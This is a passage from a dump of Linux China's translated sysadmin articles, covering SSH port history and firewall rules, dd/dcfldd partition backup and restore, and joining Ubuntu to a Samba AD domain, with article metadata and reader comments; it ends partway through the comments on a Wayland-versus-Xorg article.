> From: Tatu Ylonen <ylo@cs.hut.fi>
> To: Internet Assigned Numbers Authority <iana@isi.edu>
> Subject: 请求取得一个端口号
> Organization: 芬兰赫尔辛基理工大学
>
>
> 亲爱的机构成员：
>
>
> 我写了个可以在不安全的网络环境中安全地从一台机器登录到另一台机器的程序。它主要是对现有的 telnet 协议以及 rlogin 协议的功能性提升和安全性改进。说的具体些，就是可以防御 IP、DNS 或路由等欺骗行为。我打算将我的软件免费地发布在因特网上，以得到广泛地使用。
>
>
> 我希望为该软件注册一个特权端口号，要是这个端口号在 1 到 255 之间就更好了，这样它就可以用在名字服务器的 WKS 字段中了。
>
>
> 我在附件中附上了协议标准的草案。这个软件已经在本地运行了几个月了，我已准备在获得端口号后就发布。如果端口号分配一事安排的及时，我希望这周就将要发布的软件准备好。我目前在 beta 版测试时使用的端口号是 22，如果要是能够分配到这个端口，我就不用做什么更改了（目前这个端口在列表中还是空闲的）。
>
>
> 软件中服务的名称叫 `ssh`（系 Secure Shell 的缩写）。
>
>
> 您最真诚的，
>
>
> Tatu Ylonen <ylo@cs.hut.fi>
>
>
>
（LCTT 译注：DNS 协议中的 WKS 记录类型意即“众所周知的业务描述”，是类似于 A、MX 这样的 DNS 记录类型，用于描述某个 IP 所提供的服务，目前鲜见使用。参见： <https://docs.oracle.com/cd/E19683-01/806-4077/dnsintro-154/index.html> 。）
第二天，我就收到了 Joyce 发来的邮件：
>
> Date: Mon, 10 Jul 1995 15:35:33 -0700
> From: jkrey@ISI.EDU
> To: ylo@cs.hut.fi
> Subject: 回复：请求取得一个端口号
> Cc: iana@ISI.EDU
>
>
> Tatu,
>
>
> 我们将端口号 22 分配给 ssh 服务了，你目前是该服务的主要联系人。
>
>
> Joyce
>
>
>
这就搞定了！SSH 的端口正式使用 22！！！
1995 年 7 月 12 日上午 2 点 21 分，我给我在赫尔辛基理工大学的测试者们宣布了 SSH 的最后 beta 版本。当日下午 5 点 23 分，我给测试者们宣布了 ssh-1.0.0 版本。1995 年 7 月 12 日，下午 5 点 51 分，我将一份 SSH（安全终端）的宣告发给了 `cypherpunks@toad.com` 的邮件列表，此外我还将其发给了一些新闻组、邮件列表和一些在因特网上讨论相关话题的人们。
### 如何更改 SSH 服务的端口号
SSH 服务器是默认运行在 22 号端口上的。然而，由于某些原因需要，它也可以运行在别的端口上。比如为了方便测试使用，又比如在同一个宿主机上运行多个不同的配置。当然，极少情况下，不使用 root 权限运行它也可以，比如某些必须运行在非特权的端口的情况（端口号大于等于 1024）。
端口号可以在配置文件 [/etc/ssh/sshd\_config](https://www.ssh.com/ssh/sshd_config/) 中将 `Port 22` 更改。也可以使用 `-p <port>` 选项运行 [sshd](https://www.ssh.com/ssh/sshd/)。SSH 客户端和 [sftp](https://www.ssh.com/ssh/sftp/) 程序也可以使用 `-p <port>` 选项。
### 配置 SSH 协议穿越防火墙
SSH 是少数通常被许可穿越防火墙的协议之一。通常的做法是不限制出站的 SSH 连接，尤其常见于一些较小的或者比较技术型的组织中，而入站的 SSH 连接通常会限制到一台或者是少数几台服务器上。
#### 出站的 SSH 连接
在防火墙中配置出站的 SSH 连接十分简单。如果完全限制了外发连接，那么只需要创建一个允许 TCP 端口 22 可以外发的规则即可。如果你想限制目标地址，你可以限制该规则仅允许访问你的组织放在云端的外部服务器或保护该云端的[跳板服务器](https://www.ssh.com/iam/jump-server)即可。
#### 反向通道是有风险的
其实不限制出站的 SSH 连接虽然是可以的，但是是存在风险的，SSH 协议是支持 [通道访问](https://www.ssh.com/ssh/tunneling/) 的。最初的想法是在外部服务器搭建一个 SSH 服务监听来自各处的连接，将进入的连接转发到组织，并让这个连接可以访问某个内部服务器。
在某些场景下这当然非常的方便。开发者和系统管理员经常使用它打开一个通道以便于他们可以远程访问，比如在家里或者在旅行中使用笔记本电脑等场景。
然而通常来讲这些做法是违背安全策略的，跳过了防火墙管理员和安全团队保护的控制无疑是违背安全策略的，比如这些： [PCI](https://www.ssh.com/compliance/pci/)、[HIPAA](https://www.ssh.com/compliance/hipaa/security-rule)、[NIST SP 800-53](https://www.ssh.com/compliance/nist-800-53/) 等。它可以被黑客和外国情报机构用来在组织内留下后门。
[CryptoAuditor](https://www.ssh.com/products/cryptoauditor/) 是一款可以控制通道穿过防火墙或者一组云端服务器入口的产品。该款产品可以配合 [通用 SSH 密钥管理器（Universal SSH Key Manager）](https://www.ssh.com/products/universal-ssh-key-manager/) 来获得对 [主机密钥（host keys）](https://www.ssh.com/ssh/host-key)的访问，以在启用防火墙并阻挡未授权转发的场景中解密 SSH 会话。
#### 入站的 SSH 访问
对于入站访问而言，这里有几点需要说一下：
* 配置防火墙，并转发所有去往 22 端口的连接只能流向到一个特定的内部网络 IP 地址或者一个 [DMZ](https://en.wikipedia.org/wiki/DMZ_(computing)) 主机。在该 IP 上运行 [CryptoAuditor](https://www.ssh.com/products/cryptoauditor/) 或者跳板机来控制和审查所有访问该组织的连接。
* 在防火墙上使用不同的端口访问不同的服务器。
* 只允许使用 [IPsec](https://www.ssh.com/network/ipsec/) 协议这样的 VPN（虚拟专用网）登录后连接 SSH 服务。
### 通过 iptables 服务限制 SSH 访问
[iptables](https://en.wikipedia.org/wiki/Iptables) 是一款内建在 Linux 内核的宿主防火墙。通常配置用于保护服务器以防止被访问那些未明确开启的端口。
如果服务器上启用了 `iptables`，使用下面的命令将可以允许进入的 SSH 访问，当然命令需要以 root 身份运行。
```
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
```
如果你想将上述命令创建的规则持久地保存，在某些系统版本中，可使用如下命令：
```
service iptables save
```
---
via: <https://www.ssh.com/ssh/port>
作者：[Tatu Ylonen](https://www.ssh.com/ssh/port) 译者：[kenxx](https://github.com/kenxx) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何备份一个磁盘分区
|
Jarret
|
https://www.linuxforum.com/threads/partition-backup.3638/
|
通常你可能会把数据放在一个分区上，有时候可能需要对该设备或者上面的一个分区进行备份。
|
/data/attachment/album/201705/04/174154u0mwugxaikqh0b6j.jpg.thumb.jpg
|
/data/attachment/album/201705/04/174154u0mwugxaikqh0b6j.jpg
| true | false | true |
ictlyh
| false |
[
"分区",
"dd",
"dcfldd"
] |
系统运维
|
{
"viewnum": 12464,
"commentnum": 3,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "218.88.45.118",
"message": "对于备份磁盘或者一个卷， 一般主要目的还是备份上面的文件系统，所以 Windows 有基于 WIM 的备份机制，从 Windows Vista 开始，系统都是由其打包，而且 Windows XP 系统也可以用其打包，虽然 XP 问世的更早。很好用，不用考虑磁盘的具体差异，只要容量足够就行。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-04T18:36:44"
},
{
"postip": "219.156.27.11",
"message": "麻烦不？我不知道作者写这些东西有没有感觉麻烦，反正我看都看的麻烦了，更别说去用这来备份了。麻烦不？大家觉得麻烦不？",
"username": "来自河南郑州的 Firefox 53.0|Ubuntu 用户",
"date": "2017-05-05T14:14:00"
},
{
"postip": "118.122.120.11",
"message": "话也不能这么说，这还是有应用范围的。比如文中说的数字取证。",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-05T14:42:38"
}
] |
[] |
通常你可能会把数据放在一个分区上，有时候可能需要对该设备或者上面的一个分区进行备份。
| 2017-05-04T17:42:16 | 2017-05-04T17:42:16 | 8,477 |
/article-8477-1.html
|
通常你可能会把数据放在一个分区上，有时候可能需要对该设备或者上面的一个分区进行备份。树莓派用户为了可引导 SD 卡当然有这个需求。其它小体积计算机的用户也会发现这非常有用。有时候设备看起来要出现故障时最好快速做个备份。
进行本文中的实验你需要一个叫 `dcfldd` 的工具。
### dcfldd 工具
该工具是 coreutils 软件包中 `dd` 工具的增强版。`dcfldd` 是 Nicholas Harbour 在美国国防部计算机取证实验室（DCFL）工作期间研发的。该工具的名字也基于他工作的地方 - `dcfldd`。
对于仍然在使用 CoreUtils 8.23 或更低版本的系统，并没有一个可以轻松查看正在创建副本的进度的选项。有时候看起来就像什么都没有发生，以至于你就想取消掉备份。
**注意：**如果你使用 8.24 或更新版本的 `dd` 工具，你就不需要使用 `dcfldd`，只需要用 `dd` 替换 `dcfldd` 即可。所有其它参数仍然适用。
在 Debian 系统上你只需要在 Package Manager 中搜索 `dcfldd`。你也可以打开一个终端然后输入下面的命令：
```
sudo apt-get install dcfldd
```
对于 Red Hat 系统，可以用下面的命令：
```
cd /tmp
wget dl.fedoraproject.org/pub/epel/6/i386/dcfldd-1.3.4.1-4.el6.i686.rpm
sudo yum install dcfldd-1.3.4.1-4.el6.i686.rpm
dcfldd --version
```
**注意：** 上面的命令安装的是 32 位版本。对于 64 位版本，使用下面的命令：
```
cd /tmp
wget dl.fedoraproject.org/pub/epel/6/x86_64/dcfldd-1.3.4.1-4.el6.x86_64.rpm
sudo yum install dcfldd-1.3.4.1-4.el6.x86_64.rpm
dcfldd --version
```
每组命令中的最后一个语句会列出 `dcfldd` 的版本并显示该命令文件已经被加载。
**注意：**确保你以 root 用户执行 `dd` 或者 `dcfldd` 命令。
安装完该工具后你就可以继续使用它备份和恢复分区。
### 备份分区
备份设备的时候可以备份整个设备也可以只是其中的一个分区。如果设备有多个分区，我们可以分别备份每个分区。
在进行备份之前，先让我们来看一下设备和分区的区别。假设我们有一个已经被格式化为一个大磁盘的 SD 卡。这个 SD 卡只有一个分区。如果空间被切分使得 SD 卡看起来是两个设备，那么它就有两个分区。
假设我们有一个树莓派中的 SD 卡。SD 卡容量为 8 GB，有两个分区。第一个分区存放 BerryBoot 启动引导器。第二个分区存放 Kali（LCTT 译注：Kali Linux 是一个 Debian 派生的 Linux 发行版）。现在已经没有可用的空间用来安装第二个操作系统。我们使用大小为 16 GB 的第二个 SD 卡，但拷贝到第二个 SD 卡之前，第一个 SD 卡必须先备份。
要备份第一个 SD 卡我们需要备份设备 `/dev/sdc`。进行备份的命令如下所示：
```
dcfldd if=/dev/sdc of=/tmp/SD-Card-Backup.img
```
备份包括输入文件（`if`）以及被设置为 `/tmp` 目录下名为 `SD-Card-Backup.img` 的输出文件（`of`）。
`dd` 和 `dcfldd` 默认都是每次读写文件中的一个块。通过上述命令，它可以一次默认读写 512 个字节。记住，该复制是一个精准的拷贝 - 逐位逐字节。
默认的 512 个字节可以通过块大小参数 - `bs=` 更改。例如，要每次读写 1 兆字节，参数为 `bs=1M`。使用以下所用的缩写可以设置不同大小：
* b – 512 字节
* KB – 1000 字节
* K – 1024 字节
* MB – 1000x1000 字节
* M – 1024x1024 字节
* GB – 1000x1000x1000 字节
* G – 1024x1024x1024 字节
你也可以单独指定读和写的块大小。要指定读块的大小使用 `ibs=`。要指定写块的大小使用 `obs=`。
我使用三种不同的块大小做了一个 120 MB 分区的备份测试。第一次使用默认的 512 字节，它用了 7 秒钟。第二次块大小为 1024 K，它用时 2 秒。第三次块大小是 2048 K，它用时 3 秒。用时会随系统以及其它硬件实现的不同而变化，但通常来说更大的块大小会比默认的稍微快一点。
完成备份后，你还需要知道如何把数据恢复到设备中。
### 恢复分区
现在我们已经有了一个备份点，假设数据可能被损毁了或者由于某些原因需要进行恢复。
命令和备份时相同，只是源和目标相反。对于上面的例子，命令会变为：
```
dcfldd of=/dev/sdc if=/tmp/SD-Card-Backup.img
```
这里，镜像文件被用作输入文件（`if`）而设备（sdc）被用作输出文件（`of`）。
**注意：** 要记住输出设备会被重写，它上面的所有数据都会丢失。通常来说在恢复数据之前最好用 GParted 删除 SD 卡上的所有分区。
假如你在使用多个 SD 卡，例如多个树莓派主板，你可以一次性写多块 SD 卡。为了做到这点，你需要知道系统中卡的 ID。例如，假设我们想把镜像 `BerryBoot.img` 拷贝到两个 SD 卡。SD 卡分别是 `/dev/sdc` 和 `/dev/sdd`。下面的命令在显示进度时每次读写 1 MB 的块。命令如下：
```
dcfldd if=BerryBoot.img bs=1M status=progress | tee >(dcfldd of=/dev/sdc) | dcfldd of=/dev/sdd
```
在这个命令中，第一个 `dcfldd` 指定输入文件并把块大小设置为 1 MB。`status` 参数被设置为显示进度。然后输入通过管道 `|`传输给命令 `tee`。`tee` 用于将输入分发到多个地方。第一个输出是到命令 `dcfldd of=/dev/sdc`。命令被放到小括号内被作为一个命令执行。我们还需要最后一个管道 `|`，否则命令 `tee` 会把信息发送到 `stdout` （屏幕）。因此，最后的输出是被发送到命令 `dcfldd of=/dev/sdd`。如果你有第三个 SD 卡，甚至更多，只需要添加另外的重定向和命令，类似 `>(dcfldd of=/dev/sde`。
**注意：**记住最后一个命令必须在管道 `|` 后面。
必须验证写的数据确保数据是正确的。
### 验证数据
一旦创建了一个镜像或者恢复了一个备份，你可以验证这些写入的数据。要验证数据，你会使用名为 `diff` 的另一个不同程序。
使用 `diff` ，你需要指定镜像文件的位置以及系统中拷贝自或写入的物理媒介。你可以在创建备份或者恢复了一个镜像之后使用 `diff` 命令。
该命令有两个参数。第一个是物理媒介，第二个是镜像文件名称。
对于例子 `dcfldd of=/dev/sdc if=/tmp/SD-Card-Backup.img`，对应的 `diff` 命令是：
```
diff /dev/sdc /tmp/SD-Card-Backup.img
```
如果镜像和物理设备有任何的不同，你会被告知。如果没有显示任何信息，那么数据就验证为完全相同。
确保数据完全一致是验证备份和恢复完整性的关键。进行备份时需要注意的一个主要问题是镜像大小。
### 分割镜像
假设你想要备份一个 16GB 的 SD 卡。镜像文件大小会大概相同。如果你只能把它备份到 FAT32 分区会怎样呢？FAT32 最大文件大小限制是 4 GB。
必须做的是文件必须被切分为 4 GB 的分片。通过管道 `|` 将数据传输给 `split` 命令可以切分正在被写的镜像文件。
创建备份的方法相同，但命令会包括管道和切分命令。示例备份命令为 `dcfldd if=/dev/sdc of=/tmp/SD-Card-Backup.img` ，其切分文件的新命令如下：
```
dcfldd if=/dev/sdc | split -b 4000MB - /tmp/SD-Card-Backup.img
```
**注意：** 大小后缀和对 `dd` 及 `dcfldd` 命令的意义相同。 `split` 命令中的破折号用于将通过管道从 `dcfldd` 命令传输过来的数据填充到输入文件。
文件会被保存为 `SD-Card-Backup.imgaa` 和 `SD-Card-Backup.imgab`，如此类推。如果你担心文件大小太接近 4 GB 的限制，可以试着用 3500MB。
将文件恢复到设备也很简单。你使用 `cat` 命令将它们连接起来然后像下面这样用 `dcfldd` 写输出：
```
cat /tmp/SD-Card-Backup.img* | dcfldd of=/dev/sdc
```
你可以在命令中 `dcfldd` 部分包含任何需要的参数。
我希望你了解并能执行任何需要的数据备份和恢复，正如 SD 卡和类似设备所需的那样。
（题图：Pixabay， CC0）
---
via: <https://www.linuxforum.com/threads/partition-backup.3638/>
作者：[Jarret](https://www.linuxforum.com/members/jarret.268/) 译者：[ictlyh](https://github.com/ictlyh) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Samba 系列（八）：使用 Samba 和 Winbind 将 Ubuntu 16.04 添加到 AD 域
|
Matei Cezar
|
http://www.tecmint.com/join-ubuntu-to-active-directory-domain-member-samba-winbind/
|
这篇文章讲述了如何将 Ubuntu 主机加入到 Samba4 AD 域，并实现使用域帐号登录 Ubuntu 系统。
|
/data/attachment/album/201705/05/091853rijznj1nk0l3ikc3.jpg.thumb.jpg
|
/data/attachment/album/201705/05/091853rijznj1nk0l3ikc3.jpg
| true | false | true |
rusking
| false |
[
"samba"
] |
系统运维
|
{
"viewnum": 17779,
"commentnum": 6,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "183.148.79.199",
"message": "这是一个很好的实现，却没几个回复，甚至少有人问津。1、光 samba 那些参数就足以让绝大部分人却步；2、所需的基础知识的广度和深度不是谁都能具备的；3、即使能成功实现，结果未必比 Windows AD 好到哪里去；<br />\r\n搭建所需花的时间就不说了。。。1个星期？不止。。。",
"username": "来自浙江台州的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-06T22:22:30"
},
{
"postip": "123.120.61.86",
"message": "这也与现在的基于 SaaS 等 B/S 方式的流行，C/S 方式的没落有关。",
"username": "linux [Chrome 57.0|Mac 10.11]",
"date": "2017-05-08T09:50:38"
},
{
"postip": "221.230.6.109",
"message": "太好了,感谢作者,",
"username": "来自江苏镇江的 Safari 10.1|Mac 10.12 用户",
"date": "2017-09-20T10:36:36"
},
{
"postip": "218.58.53.46",
"message": "通篇看了2遍，理解了一半的语句和表达过程，堪为基础配置之典范，细腻用心，感谢作者等相关人员。",
"username": "来自山东青岛的 Chrome 69.0|Windows 7 用户",
"date": "2019-08-14T17:50:53"
},
{
"postip": "218.58.53.46",
"message": "通篇看了2遍，理解了一半的语句和表达过程，堪为基础配置之典范，细腻用心，感谢作者等相关人员。",
"username": "来自山东青岛的 Chrome 69.0|Windows 7 用户",
"date": "2019-08-14T17:50:56"
},
{
"postip": "210.83.66.4",
"message": "感谢作者，有个问题请假下 怎么开启离线登录，设置winbind offline logon = terue貌似没有效果",
"username": "来自浙江宁波的 Chrome 88.0|Windows 10 用户",
"date": "2021-02-19T14:59:54"
}
] |
[
{
"raid": 8410,
"displayorder": 0
},
{
"raid": 8516,
"displayorder": 0
}
] |
这篇文章讲述了如何将 Ubuntu 主机加入到 Samba4 AD 域，并实现使用域帐号登录 Ubuntu 系统。
| 2017-05-05T09:21:32 | 2017-05-05T09:21:32 | 8,479 |
/article-8479-1.html
|
这篇文章讲述了如何将 Ubuntu 主机加入到 Samba4 AD 域，并实现使用域帐号登录 Ubuntu 系统。
### 要求：
1. [在 Ubuntu 系统上使用 Samba4 软件来创建活动目录架构](http://www.tecmint.com/install-samba4-active-directory-ubuntu/)
### 第一步： Ubuntu 系统加入到 Samba4 AD 之前的基本配置
1、在将 Ubuntu 主机加入到 AD DC 之前，你得先确保 Ubuntu 系统中的一些服务配置正常。
主机名是你的机器的一个重要标识。因此，在加入域前，使用 `hostnamectl` 命令或者通过手动编辑 `/etc/hostname` 文件来为 Ubuntu 主机设置一个合适的主机名。
```
# hostnamectl set-hostname your_machine_short_name
# cat /etc/hostname
# hostnamectl
```
*设置系统主机名*
2、在这一步中，打开并编辑网卡配置文件，为你的主机设置一个合适的 IP 地址。注意把 DNS 地址设置为你的域控制器的地址。
编辑 `/etc/network/interfaces` 文件，添加 `dns-nameservers` 参数，并设置为 AD 服务器的 IP 地址；添加 `dns-search` 参数，其值为域控制器的主机名，如下图所示。
并且，把上面设置的 DNS IP 地址和域名添加到 `/etc/resolv.conf` 配置文件中，如下图所示：
*为 AD 配置网络设置*
在上面的截图中， `192.168.1.254` 和 `192.168.1.253` 是 Samba4 AD DC 服务器的 IP 地址， `Tecmint.lan` 是 AD 域名，已加入到这个域中的所有机器都可以查询到该域名。
3、重启网卡服务或者重启计算机以使网卡配置生效。使用 ping 命令加上域名来检测 DNS 解析是否正常。
AD DC 应该返回的是 FQDN 。如果你的网络中配置了 DHCP 服务器来为局域网中的计算机自动分配 IP 地址，请确保你已经把 AD DC 服务器的 IP 地址添加到 DHCP 服务器的 DNS 配置中。
```
# systemctl restart networking.service
# ping -c2 your_domain_name
```
4、最后一步是配置服务器时间同步。安装 `ntpdate` 包，使用下面的命令来查询并同步 AD DC 服务器的时间。
```
$ sudo apt-get install ntpdate
$ sudo ntpdate -q your_domain_name
$ sudo ntpdate your_domain_name
```
*AD 服务器时间同步*
5、下一步，在 Ubuntu 机器上执行下面的命令来安装加入域环境所必需软件。
```
$ sudo apt-get install samba krb5-config krb5-user winbind libpam-winbind libnss-winbind
```
*在 Ubuntu 机器上安装 Samba4 软件*
在 Kerberos 软件包安装的过程中，你会被询问输入默认的域名。输入大写的域名，并按 Enter 键继续安装。
*添加 AD 域名*
6、当所有的软件包安装完成之后，使用域管理员帐号来测试 Kerberos 认证，然后执行下面的命令来列出票据信息。
```
# kinit ad_admin_user
# klist
```
*使用 AD 来检查 Kerberos 认证是否正常*
### 第二步：将 Ubuntu 主机添加到 Samba4 AD DC
7、将 Ubuntu 主机添加到 Samba4 活动目录域环境中的第一步是编辑 Samba 配置文件。
备份 Samba 的默认配置文件，这个配置文件是安装 Samba 软件的过程中自动生成的，使用下面的命令来重新初始化配置文件。
```
# mv /etc/samba/smb.conf /etc/samba/smb.conf.initial
# nano /etc/samba/smb.conf
```
在新的 Samba 配置文件中添加以下内容：
```
[global]
workgroup = TECMINT
realm = TECMINT.LAN
netbios name = ubuntu
security = ADS
dns forwarder = 192.168.1.1
idmap config * : backend = tdb
idmap config *:range = 50000-1000000
template homedir = /home/%D/%U
template shell = /bin/bash
winbind use default domain = true
winbind offline logon = false
winbind nss info = rfc2307
winbind enum users = yes
winbind enum groups = yes
vfs objects = acl_xattr
map acl inherit = Yes
store dos attributes = Yes
```
*Samba 服务的 AD 环境配置*
根据你本地的实际情况来替换 `workgroup` ， `realm` ， `netbios name` 和 `dns forwarder` 的参数值。
由于 `winbind use default domain` 这个参数会让 winbind 服务把任何登录系统的帐号都当作 AD 帐号。因此，如果存在本地帐号名跟域帐号同名的情况下，请不要设置该参数。
8、现在，你应该重启 Samba 后台服务，停止并卸载一些不必要的服务，然后启用 samba 服务的 system-wide 功能，使用下面的命令来完成。
```
$ sudo systemctl restart smbd nmbd winbind
$ sudo systemctl stop samba-ad-dc
$ sudo systemctl enable smbd nmbd winbind
```
9、通过下面的命令，使用域管理员帐号来把 Ubuntu 主机加入到 Samba4 AD DC 中。
```
$ sudo net ads join -U ad_admin_user
```
*把 Ubuntu 主机加入到 Samba4 AD DC*
10、在 [安装了 RSAT 工具的 Windows 机器上](http://www.tecmint.com/manage-samba4-ad-from-windows-via-rsat/) 打开 AD UC ,展开到包含的计算机。你可以看到已加入域的 Ubuntu 计算机。
*确认 Ubuntu 计算机已加入到 Windows AD DC*
### 第三步：配置 AD 帐号认证
11、为了在本地完成 AD 帐号认证，你需要修改本地机器上的一些服务和配置文件。
首先，打开并编辑名字服务切换 (NSS) 配置文件。
```
$ sudo nano /etc/nsswitch.conf
```
然后在 `passwd` 和 `group` 行添加 winbind 值，如下图所示：
```
passwd: compat winbind
group: compat winbind
```
*配置 AD 帐号认证*
12、为了测试 Ubuntu 机器是否已加入到域中，你可以使用 `wbinfo` 命令来列出域帐号和组。
```
$ wbinfo -u
$ wbinfo -g
```
*列出域帐号和组*
13、同时，使用 `getent` 命令加上管道符及 `grep` 参数来过滤指定域用户或组，以测试 Winbind nsswitch 模块是否运行正常。
```
$ sudo getent passwd| grep your_domain_user
$ sudo getent group|grep 'domain admins'
```
*检查 AD 域用户和组*
14、为了让域帐号在 Ubuntu 机器上完成认证登录，你需要使用 root 帐号运行 `pam-auth-update` 命令，然后勾选 winbind 服务所需的选项，以让每个域帐号首次登录时自动创建 home 目录。
查看所有的选项，按 ‘[空格]’键选中，单击 OK 以应用更改。
```
$ sudo pam-auth-update
```
*使用域帐号登录 Ubuntu 主机*
15、在 Debian 系统中，如果想让系统自动为登录的域帐号创建家目录，你需要手动编辑 `/etc/pam.d/common-account` 配置文件，并添加下面的内容。
```
session required pam_mkhomedir.so skel=/etc/skel/ umask=0022
```
*使用域帐号登录 Debian 系统*
16、为了让 AD 用户能够在 Linux 的命令行下修改密码，你需要打开 /etc/pam.d/common-password 配置文件，在 `password` 那一行删除 `use_authtok` 参数，如下图所示：
```
password [success=1 default=ignore] pam_winbind.so try_first_pass
```
*允许域帐号在 Linux 命令行下修改密码*
17、要使用 Samba4 AD 帐号来登录 Ubuntu 主机，在 `su -` 后面加上域用户名即可。你还可以通过运行 `id` 命令来查看 AD 帐号的其它信息。
```
$ su - your_ad_user
```
*查看 AD 用户信息*
使用 [pwd 命令](http://www.tecmint.com/pwd-command-examples/)来查看域帐号的当前目录，如果你想修改域帐号的密码，你可以使用 `passwd` 命令来完成。
18、如果想让域帐号在 ubuntu 机器上拥有 root 权限，你可以使用下面的命令来把 AD 帐号添加到 sudo 系统组中：
```
$ sudo usermod -aG sudo your_domain_user
```
登录域帐号登录到 Ubuntu 主机，然后运行 `apt-get-update` 命令来更新系统，以验证域账号是否拥有 root 权限。
*给域帐号添加 root 权限*
19、要为整个域用户组添加 root 权限，使用 `vi` 命令打开并编辑 `/etc/sudoers` 配置文件，如下图所示，添加如下内容：
```
%YOUR_DOMAIN\\your_domain\ group ALL=(ALL:ALL) ALL
```
*为域帐号组添加 root 权限*
使用反斜杠来转义域用户组的名称中包含的空格，或者用来转义第一个反斜杠。在上面的例子中， TECMINT 域的域用户组的名字是 “domain admins" 。
前边的 `%` 表明我们指定是的用户组而不是用户名。
20、如果你使用的是图形界面的 Ubuntu 系统，并且你想使用域帐号来登录系统，你需要修改 LightDM 显示管理器，编辑 `/usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf` 配置文件，添加下面的内容，然后重启系统才能生效。
```
greeter-show-manual-login=true
greeter-hide-users=true
```
现在你就可以域帐号来登录 Ubuntu 桌面系统了。使用域用户名或者域用户名@域名.tld 或者域名\域用户名的方式来登录系统。
---
作者简介：
我是一个电脑迷，开源 Linux 系统和软件爱好者，有 4 年多的 Linux 桌面、服务器系统使用和 Base 编程经验。
---
via: <http://www.tecmint.com/join-ubuntu-to-active-directory-domain-member-samba-winbind/>
作者：[Matei Cezar](http://www.tecmint.com/author/cezarmatei/) 译者：[rusking](https://github.com/rusking) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Fedora 25: Wayland 大战 Xorg
|
Igor Ljubuncic
|
http://www.dedoimedo.com/computers/fedora-25-wayland-vs-xorg.html
|
大体上说，Wayland 还可以，并不差。性能可能不太是一个问题了，因为你可以放弃 1-2% 的变化；但是无法启动应用是个大问题。
|
/data/attachment/album/201705/05/124248yj2jhmokh0h42xym.jpg.thumb.jpg
|
/data/attachment/album/201705/05/124248yj2jhmokh0h42xym.jpg
| true | false | true |
cycoe
| false |
[
"Wayland",
"Xorg"
] |
观点
|
{
"viewnum": 15416,
"commentnum": 14,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "既然图是这样，那要不大家讨论一下，异形的新电影会如期在国内上映不？至于剪不剪的就不指望了，我个人只希望能在国内上映。",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-05T13:19:47"
},
{
"postip": "118.122.120.11",
"message": "这篇文章过于情绪化，观点也不明确，虽然原作者是从事 Linux 方面的工作。所以大家藉图来讨论一下异形吧？",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-05T13:25:55"
},
{
"postip": "222.210.108.99",
"message": "自由软件开发者不靠用户来生存，所以其并不站在用户的角度来开发设计软件，而是开发者自身的喜好～～～哈哈，不然你看为什么会有gnome、kde、lxqt等等",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-05T14:14:35"
},
{
"postip": "117.182.154.236",
"message": "还以为是性能的专业对比，结果是在吐槽兼容性……",
"username": "来自117.182.154.236的 Chrome 58.0|Windows 7 用户",
"date": "2017-05-05T17:41:26"
},
{
"postip": "218.88.45.118",
"message": "就是就是，亏作者也是做 IT 的。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-05T19:52:24"
},
{
"postip": "123.172.131.122",
"message": "要革命，不要兼容性。<br />\r\n<br />\r\n虽然我也用X不用wayland（wayland在我的老爷台式机上会崩，在新笔记本上不会但是有小问题，目前来说还是太嫩，类似gnome 3最初几版时）",
"username": "来自吉林吉林市的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-05-05T23:07:27"
},
{
"postip": "59.41.93.16",
"message": "使用wayland不知道为什么开机之后会黑屏一下然后点击键盘，稍微等一下，出现重新登录的页面",
"username": "来自广东广州的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-06T09:36:11"
},
{
"postip": "117.152.92.135",
"message": "要不是为了兼容xorg，wayland早就甩xorg几条街了。不过兼容也是没有办法的事，毕竟你不能要求所有应用都一下子迁移过去。<br />\r\n这篇作者的观点太短视。用户的良好体验就是建立在好的架构与代码上的。不然就是费时费力还不一定做得好。<br />\r\n特别是作者说“最终我们将拥有的是我们已经拥有的相同功能，只是用不同的编程语言来实现”，简直扯淡，只有不懂的人才会这么觉得。",
"username": "来自117.152.92.135的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-06T12:48:28"
},
{
"postip": "114.224.186.104",
"message": "wayland是大势所趋，xorg实在是需要变革了！希望不要走塞班的老路，越发臃肿最后连开发者都不知道是啥玩意了！",
"username": "来自江苏无锡的 Opera 44.0|Windows 7 用户",
"date": "2017-05-08T07:52:48"
},
{
"postip": "222.209.125.151",
"message": "目前wayland的N卡支持还有问题。闭源驱动的解决方案是导出EGLstream(其实我根本不知道这是什么东西 :<)，开源N卡驱动不了解。",
"username": "来自四川成都的 Firefox 53.0|Fedora 用户",
"date": "2017-05-10T18:23:17"
},
{
"postip": "222.209.125.151",
"message": "xorg发展到现在，依然没开发者宣称解决了画面撕裂问题。很多用户说画面撕裂已经极少见了，在我日常操作来说，也的确如此，但每当我打开游戏的那一瞬间，画面总是有极高的概率撕裂，不要吐槽我为什么用linux玩游戏，对桌面环境来说，玩游戏很正常的吧。",
"username": "来自四川成都的 Firefox 53.0|Fedora 用户",
"date": "2017-05-10T18:34:13"
},
{
"postip": "223.87.242.185",
"message": "百度贴吧吐槽贴水平",
"username": "来自四川成都的 Firefox 55.0|GNU/Linux 用户",
